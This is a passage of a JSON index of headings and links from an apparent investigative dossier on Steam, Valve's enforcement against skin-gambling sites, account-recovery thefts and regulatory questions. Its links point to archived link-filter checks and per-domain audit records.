            "text": "Link obfuscation",
            "anchor": "pd-index--heading-47",
            "source_url": "https://phishdestroy.io/steam_dossier/#enforcement-standard"
          },
          {
            "level": 4,
            "text": "Who reviews the decision when support closes the case?",
            "anchor": "pd-index--heading-48",
            "source_url": "https://phishdestroy.io/steam_dossier/#enforcement-standard"
          },
          {
            "level": 2,
            "text": "An automation API. A rule against automation.",
            "anchor": "pd-index--heading-49",
            "source_url": "https://phishdestroy.io/steam_dossier/#api-paradox"
          },
          {
            "level": 3,
            "text": "The \"Game Developer\" Fallacy",
            "anchor": "pd-index--heading-50",
            "source_url": "https://phishdestroy.io/steam_dossier/#api-paradox"
          },
          {
            "level": 4,
            "text": "The Automation Contradiction",
            "anchor": "pd-index--heading-51",
            "source_url": "https://phishdestroy.io/steam_dossier/#api-paradox"
          },
          {
            "level": 4,
            "text": "A server-side position in the trade flow",
            "anchor": "pd-index--heading-52",
            "source_url": "https://phishdestroy.io/steam_dossier/#api-paradox"
          },
          {
            "level": 2,
            "text": "Ten days demanded. Ten years to account for.",
            "anchor": "pd-index--heading-53",
            "source_url": "https://phishdestroy.io/steam_dossier/#case-study-section"
          },
          {
            "level": 3,
            "text": "VALVE CORPORATION",
            "anchor": "pd-index--letter-company",
            "source_url": "https://phishdestroy.io/steam_dossier/#letter-company"
          },
          {
            "level": 3,
            "text": "Follow the declared return host.",
            "anchor": "pd-index--heading-55",
            "source_url": "https://phishdestroy.io/steam_dossier/#csgofast-scale"
          },
          {
            "level": 3,
            "text": "Two deadlines. One unanswered enforcement standard.",
            "anchor": "pd-index--washington-record-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/#washington-record-heading"
          },
          {
            "level": 4,
            "text": "Valve gives gambling sites 10 days",
            "anchor": "pd-index--heading-57",
            "source_url": "https://phishdestroy.io/steam_dossier/#case-study-section"
          },
          {
            "level": 4,
            "text": "Washington presses Valve",
            "anchor": "pd-index--heading-58",
            "source_url": "https://phishdestroy.io/steam_dossier/#case-study-section"
          },
          {
            "level": 4,
            "text": "Valve rejects the charge",
            "anchor": "pd-index--heading-59",
            "source_url": "https://phishdestroy.io/steam_dossier/#case-study-section"
          },
          {
            "level": 4,
            "text": "The routes observed in September 2026",
            "anchor": "pd-index--heading-60",
            "source_url": "https://phishdestroy.io/steam_dossier/#case-study-section"
          },
          {
            "level": 4,
            "text": "Eighteen months after Valve replied, the regulator still called it an intent.",
            "anchor": "pd-index--heading-61",
            "source_url": "https://phishdestroy.io/steam_dossier/#case-study-section"
          },
          {
            "level": 3,
            "text": "The 10-Day Notice Decade: Forensic Survival Audit of the 23 Named Sites",
            "anchor": "pd-index--heading-62",
            "source_url": "https://phishdestroy.io/steam_dossier/#cd-survival-audit"
          },
          {
            "level": 4,
            "text": "From 10-Day Warnings to Offshore Conglomerates: The Multi-Billion-Dollar Turnover",
            "anchor": "pd-index--heading-63",
            "source_url": "https://phishdestroy.io/steam_dossier/#cd-survival-audit"
          },
          {
            "level": 2,
            "text": "The hostname is already in the request.",
            "anchor": "pd-index--heading-64",
            "source_url": "https://phishdestroy.io/steam_dossier/#autoban-feasibility-section"
          },
          {
            "level": 3,
            "text": "Documented and reported precedents",
            "anchor": "pd-index--heading-65",
            "source_url": "https://phishdestroy.io/steam_dossier/#autoban-feasibility-section"
          },
          {
            "level": 3,
            "text": "What a registration date does and does not show",
            "anchor": "pd-index--heading-66",
            "source_url": "https://phishdestroy.io/steam_dossier/#autoban-feasibility-section"
          },
          {
            "level": 3,
            "text": "Comparative Audit: API Compliance Standards",
            "anchor": "pd-index--heading-67",
            "source_url": "https://phishdestroy.io/steam_dossier/#autoban-feasibility-section"
          },
          {
            "level": 2,
            "text": "The off-Steam price gap",
            "anchor": "pd-index--market-thesis-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/#market-thesis-heading"
          },
          {
            "level": 3,
            "text": "What the dollar figure shows",
            "anchor": "pd-index--heading-69",
            "source_url": "https://phishdestroy.io/steam_dossier/#market-gap-section"
          },
          {
            "level": 3,
            "text": "Many venues list more dollar value than Steam.",
            "anchor": "pd-index--heading-70",
            "source_url": "https://phishdestroy.io/steam_dossier/#market-chart-value"
          },
          {
            "level": 3,
            "text": "Steam still leads in number of offers.",
            "anchor": "pd-index--heading-71",
            "source_url": "https://phishdestroy.io/steam_dossier/#market-chart-offers"
          },
          {
            "level": 3,
            "text": "The commercial ecosystem is in plain sight.",
            "anchor": "pd-index--heading-72",
            "source_url": "https://phishdestroy.io/steam_dossier/#market-gap-section"
          },
          {
            "level": 2,
            "text": "Who can reset the safeguards?",
            "anchor": "pd-index--heading-73",
            "source_url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "level": 3,
            "text": "A recovery ticket that disabled the account's security, and a reported $10,000 loss",
            "anchor": "pd-index--heading-74",
            "source_url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "level": 3,
            "text": "Beyond the inventory.",
            "anchor": "pd-index--heading-75",
            "source_url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "level": 3,
            "text": "Valve admitted the door twice, thirty-three months apart. It never closed.",
            "anchor": "pd-index--theft-ledger-title",
            "source_url": "https://phishdestroy.io/steam_dossier/#theft-ledger-title"
          },
          {
            "level": 4,
            "text": "What the ledger says that no single case does.",
            "anchor": "pd-index--heading-77",
            "source_url": "https://phishdestroy.io/steam_dossier/#theft-ledger"
          },
          {
            "level": 3,
            "text": "Confidentiality must come with technical accountability.",
            "anchor": "pd-index--heading-78",
            "source_url": "https://phishdestroy.io/steam_dossier/#insider-threat"
          },
          {
            "level": 3,
            "text": "The reset request, and the later objection.",
            "anchor": "pd-index--support-update-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/#support-update-heading"
          },
          {
            "level": 2,
            "text": "Follow the money. Separate the transactions.",
            "anchor": "pd-index--heading-80",
            "source_url": "https://phishdestroy.io/steam_dossier/#aml-kyc"
          },
          {
            "level": 3,
            "text": "Where the money actually moves.",
            "anchor": "pd-index--heading-81",
            "source_url": "https://phishdestroy.io/steam_dossier/#revenue-path"
          },
          {
            "level": 3,
            "text": "Classify the activity, then the obligation.",
            "anchor": "pd-index--heading-82",
            "source_url": "https://phishdestroy.io/steam_dossier/#aml-kyc"
          },
          {
            "level": 3,
            "text": "Trace proceeds, knowledge and assistance.",
            "anchor": "pd-index--heading-83",
            "source_url": "https://phishdestroy.io/steam_dossier/#aml-kyc"
          },
          {
            "level": 2,
            "text": "The Digital Services Act: put knowledge on the record",
            "anchor": "pd-index--heading-84",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsa-accountability"
          },
          {
            "level": 3,
            "text": "A ten-day demand.",
            "anchor": "pd-index--heading-85",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsa-accountability"
          },
          {
            "level": 3,
            "text": "The DSA time window.",
            "anchor": "pd-index--heading-86",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsa-accountability"
          },
          {
            "level": 3,
            "text": "Duration needs a notice trail.",
            "anchor": "pd-index--heading-87",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsa-accountability"
          },
          {
            "level": 3,
            "text": "of annual worldwide turnover",
            "anchor": "pd-index--heading-88",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsa-accountability"
          },
          {
            "level": 2,
            "text": "Minors: a Steam login is not an age check",
            "anchor": "pd-index--heading-89",
            "source_url": "https://phishdestroy.io/steam_dossier/#minors-protection"
          },
          {
            "level": 3,
            "text": "Identify the operator and the data.",
            "anchor": "pd-index--heading-90",
            "source_url": "https://phishdestroy.io/steam_dossier/#minors-protection"
          },
          {
            "level": 3,
            "text": "Record the journey from login to deposit.",
            "anchor": "pd-index--heading-91",
            "source_url": "https://phishdestroy.io/steam_dossier/#minors-protection"
          },
          {
            "level": 2,
            "text": "The request. The reply. The missing comparison.",
            "anchor": "pd-index--heading-92",
            "source_url": "https://phishdestroy.io/steam_dossier/#gdpr-live-case"
          },
          {
            "level": 3,
            "text": "The records exist; the data subject did not receive them.",
            "anchor": "pd-index--heading-93",
            "source_url": "https://phishdestroy.io/steam_dossier/#gdpr-live-case"
          },
          {
            "level": 2,
            "text": "The Subscriber Agreement against the platform's own architecture",
            "anchor": "pd-index--heading-94",
            "source_url": "https://phishdestroy.io/steam_dossier/#tos-structural-void"
          },
          {
            "level": 3,
            "text": "The Market ceiling and the commercial-use prohibition",
            "anchor": "pd-index--heading-95",
            "source_url": "https://phishdestroy.io/steam_dossier/#tos-structural-void"
          },
          {
            "level": 3,
            "text": "The API-key vulnerability as a platform design question rather than user negligence",
            "anchor": "pd-index--heading-96",
            "source_url": "https://phishdestroy.io/steam_dossier/#tos-structural-void"
          },
          {
            "level": 3,
            "text": "Valve receives the auth hostname on every login",
            "anchor": "pd-index--heading-97",
            "source_url": "https://phishdestroy.io/steam_dossier/#tos-structural-void"
          },
          {
            "level": 3,
            "text": "The pattern in the archived complaints",
            "anchor": "pd-index--heading-98",
            "source_url": "https://phishdestroy.io/steam_dossier/#tos-structural-void"
          },
          {
            "level": 3,
            "text": "A court evaluating this record would not read the SSA in isolation.",
            "anchor": "pd-index--heading-99",
            "source_url": "https://phishdestroy.io/steam_dossier/#tos-structural-void"
          },
          {
            "level": 2,
            "text": "The findings. The records we ask for.",
            "anchor": "pd-index--heading-100",
            "source_url": "https://phishdestroy.io/steam_dossier/#findings-and-requests"
          },
          {
            "level": 2,
            "text": "Evidence Memorandum — material provided by Source 1",
            "anchor": "pd-index--heading-101",
            "source_url": "https://phishdestroy.io/steam_dossier/#official-memorandum"
          },
          {
            "level": 2,
            "text": "The redaction in the produced PDF is cosmetic: the covered text remains extractable",
            "anchor": "pd-index--heading-102",
            "source_url": "https://phishdestroy.io/steam_dossier/#academic-response"
          },
          {
            "level": 2,
            "text": "Support and Legal Correspondence Exhibits",
            "anchor": "pd-index--heading-103",
            "source_url": "https://phishdestroy.io/steam_dossier/#exhibit-gallery-section"
          },
          {
            "level": 2,
            "text": "Selected primary records",
            "anchor": "pd-index--heading-104",
            "source_url": "https://phishdestroy.io/steam_dossier/#evidence-matrix-section"
          },
          {
            "level": 3,
            "text": "Hardware keys, requested in 2016",
            "anchor": "pd-index--receipt-heading-gh-01",
            "source_url": "https://phishdestroy.io/steam_dossier/#receipt-heading-gh-01"
          },
          {
            "level": 3,
            "text": "Crash reports without an effective opt-out",
            "anchor": "pd-index--receipt-heading-gh-02",
            "source_url": "https://phishdestroy.io/steam_dossier/#receipt-heading-gh-02"
          },
          {
            "level": 3,
            "text": "Auth-ticket abuse reported to Valve",
            "anchor": "pd-index--receipt-heading-gh-03",
            "source_url": "https://phishdestroy.io/steam_dossier/#receipt-heading-gh-03"
          },
          {
            "level": 3,
            "text": "44 disputed Market purchases",
            "anchor": "pd-index--receipt-heading-rd-01",
            "source_url": "https://phishdestroy.io/steam_dossier/#receipt-heading-rd-01"
          },
          {
            "level": 3,
            "text": "A permanent ban and closed appeals",
            "anchor": "pd-index--receipt-heading-rd-02",
            "source_url": "https://phishdestroy.io/steam_dossier/#receipt-heading-rd-02"
          },
          {
            "level": 3,
            "text": "A recovery reset and a reported $10,000 loss",
            "anchor": "pd-index--receipt-heading-rd-03",
            "source_url": "https://phishdestroy.io/steam_dossier/#receipt-heading-rd-03"
          },
          {
            "level": 2,
            "text": "ArchiSteamFarm and the automation clause",
            "anchor": "pd-index--heading-111",
            "source_url": "https://phishdestroy.io/steam_dossier/#asf-case-study"
          },
          {
            "level": 2,
            "text": "Choose a rule. Inspect the matching records.",
            "anchor": "pd-index--heading-112",
            "source_url": "https://phishdestroy.io/steam_dossier/#legal-ledger-workspace-section"
          },
          {
            "level": 2,
            "text": "DSAR playbook: request the evidence",
            "anchor": "pd-index--heading-113",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsar-playbook"
          },
          {
            "level": 3,
            "text": "Preserve your timeline.",
            "anchor": "pd-index--heading-114",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsar-playbook"
          },
          {
            "level": 3,
            "text": "Request your retained data.",
            "anchor": "pd-index--heading-115",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsar-playbook"
          },
          {
            "level": 3,
            "text": "Keep the delivery record.",
            "anchor": "pd-index--heading-116",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsar-playbook"
          },
          {
            "level": 3,
            "text": "Compare the response.",
            "anchor": "pd-index--heading-117",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsar-playbook"
          },
          {
            "level": 3,
            "text": "Account security & access records",
            "anchor": "pd-index--heading-118",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsar-playbook"
          },
          {
            "level": 3,
            "text": "A discrepancy is evidence to investigate.",
            "anchor": "pd-index--heading-119",
            "source_url": "https://phishdestroy.io/steam_dossier/#dsar-playbook"
          },
          {
            "level": 2,
            "text": "Support volume. Published response times.",
            "anchor": "pd-index--heading-120",
            "source_url": "https://phishdestroy.io/steam_dossier/#support-stats-section"
          },
          {
            "level": 3,
            "text": "Two queues at one support desk, read across 21 archived captures.",
            "anchor": "pd-index--heading-121",
            "source_url": "https://phishdestroy.io/steam_dossier/#support-stats-section"
          },
          {
            "level": 2,
            "text": "Count the records. Check the scope.",
            "anchor": "pd-index--heading-122",
            "source_url": "https://phishdestroy.io/steam_dossier/#evidence-base"
          },
          {
            "level": 2,
            "text": "Valve publishes no enforcement record. We built one.",
            "anchor": "pd-index--heading-123",
            "source_url": "https://phishdestroy.io/steam_dossier/#phishdestroy-manifesto"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Commerce & account accessCSGOFast / SIHCasino commerce, account custody and remote control inside Steam.AGENT NORARead investigation",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih"
          },
          {
            "label": "Reviews & incentivesReviews & incentivesThe contests, ratings and developer replies behind the extension’s reputation.AGENT VERARead investigation",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives"
          },
          {
            "label": "Tournament rulesSponsors & cosmetic controlTournament restrictions, gambling sponsors and the business of appearance.AGENT LENARead investigation",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors"
          },
          {
            "label": "NEW EVIDENCE FILE / SEVEN MAJORSTheir stage. Their skins. Their economy.491 maps · 960,770 inspect records · Explore the Major skin dataset",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "CS:GO Lounge alone above $1 billion in betting handle during 2016",
            "url": "https://dotesports.com/counter-strike/news/csgo-lounge-billion-bets-3896"
          },
          {
            "label": "Subscriber Agreement",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022032/https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "dated route register",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit.json"
          },
          {
            "label": "Link Filter checks",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-all-results.json"
          },
          {
            "label": "OPSkins in 2018",
            "url": "https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "archived 2026-03-07 ↗",
            "url": "https://web.archive.org/web/20260307161538/https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "2016 Commission notice ↗",
            "url": "https://wsgc.wa.gov/news/2016/washington-state-gambling-commission-orders-valve-stop-skins-gambling"
          },
          {
            "label": "archived 2026-05-20 ↗",
            "url": "https://web.archive.org/web/20260520012601/https://wsgc.wa.gov/news/2016/washington-state-gambling-commission-orders-valve-stop-skins-gambling"
          },
          {
            "label": "Valve's 2016 reply (document copy) ↗",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "Valve's 2016 OpenID statement ↗",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921021947/https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "Current Steam agreement ↗",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022032/https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "22 September register ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/master_registry.json"
          },
          {
            "label": "Route observation records ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit.json"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022628/https://steamcommunity.com/linkfilter/?url=https:%2F%2Frollbit.com"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/rbsnin.com.20260921T021120Z.html"
          },
          {
            "label": "rollbit.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/rollbit.com.json"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022740/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fskin.club"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022842/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fsc-auth.net"
          },
          {
            "label": "skin.club.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skin.club.json"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022603/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fhowl.gg"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022636/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fhowl.uno"
          },
          {
            "label": "howl.gg.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/howl.gg.json"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022840/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fduelbits.com"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022901/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fswitchflips.com"
          },
          {
            "label": "duelbits.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/duelbits.com.json"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022758/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fcsgofast.com"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022847/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fauthtofast.com"
          },
          {
            "label": "csgofast.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csgofast.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/farmskins.com.20260921T025840Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/steam.kobal.cc.20260921T025844Z.html"
          },
          {
            "label": "farmskins.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/farmskins.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/cobaltlab.tech.20260921T041604Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/cobaltauth.com.20260921T041608Z.html"
          },
          {
            "label": "cobaltlab.tech.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/cobaltlab.tech.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/csgo.net.20260921T041619Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/cn2.easylot.net.20260921T041623Z.html"
          },
          {
            "label": "csgo.net.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csgo.net.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/ggdrop.com.20260921T041637Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/ggauth.com.20260921T041641Z.html"
          },
          {
            "label": "ggdrop.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/ggdrop.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/rustchance.com.20260921T041703Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/hgfuihd.com.20260921T041706Z.html"
          },
          {
            "label": "rustchance.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/rustchance.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/skin.fans.20260921T041710Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/auth.skinfans.com.20260921T041713Z.html"
          },
          {
            "label": "skin.fans.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skin.fans.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/skinport.com.20260921T041724Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/skinport.app.20260921T041728Z.html"
          },
          {
            "label": "skinport.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skinport.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/skins.cash.20260921T041731Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/skinscash.live.20260921T041735Z.html"
          },
          {
            "label": "skins.cash.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skins.cash.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/tf2hunt.com.20260921T041739Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/rstspcl.com.20260921T041742Z.html"
          },
          {
            "label": "tf2hunt.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/tf2hunt.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/csgogem.com.20260922T192355Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/api.csgem.com.20260922T192358Z.html"
          },
          {
            "label": "linkfilter-2026-09-22.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/gamdom.com.20260922T192326Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/login.gambldom.com.20260922T192330Z.html"
          },
          {
            "label": "linkfilter-2026-09-22.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/12cs.fail.20260922T192347Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/fail.games.20260922T192351Z.html"
          },
          {
            "label": "linkfilter-2026-09-22.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22.json"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022953/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fcsgoempire.com"
          },
          {
            "label": "Wayback 2026-09-21",
            "url": "https://web.archive.org/web/20260921022947/https://steamcommunity.com/linkfilter/?url=https:%2F%2Fcsgoempirelogin4.com"
          },
          {
            "label": "csgoempire.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csgoempire.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/cs.money.20260921T021131Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/auth.dota.trade.20260921T021134Z.html"
          },
          {
            "label": "cs.money.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/cs.money.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/csfloat.com.20260921T041612Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/csgofloat.com.20260921T041615Z.html"
          },
          {
            "label": "csfloat.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csfloat.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/g4skins.com.20260921T041630Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/auth.g4s.to.20260921T041634Z.html"
          },
          {
            "label": "g4skins.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/g4skins.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/juice.gg.20260921T041644Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/letmeinjuice.com.20260921T041648Z.html"
          },
          {
            "label": "juice.gg.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/juice.gg.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/market.csgo.com.20260921T041652Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/dota2.net.20260921T041655Z.html"
          },
          {
            "label": "market.csgo.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/market.csgo.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/rust.tm.20260921T041659Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/dota2.net.20260921T041655Z.html"
          },
          {
            "label": "rust.tm.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/rust.tm.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/csgolounge.com.20260922T192333Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/dota2.net.20260922T192340Z.html"
          },
          {
            "label": "linkfilter-2026-09-22.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/dota2lounge.com.20260922T192337Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/dota2.net.20260922T192340Z.html"
          },
          {
            "label": "linkfilter-2026-09-22.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/skinbaron.de.20260921T041717Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/skinbaron.com.20260921T041721Z.html"
          },
          {
            "label": "skinbaron.de.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skinbaron.de.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/tf2royal.com.20260921T041746Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/tf2auth.com.20260921T041750Z.html"
          },
          {
            "label": "tf2royal.com.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/tf2royal.com.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/tradeit.gg.20260921T041753Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/connect-tradeit.com.20260921T041757Z.html"
          },
          {
            "label": "tradeit.gg.json",
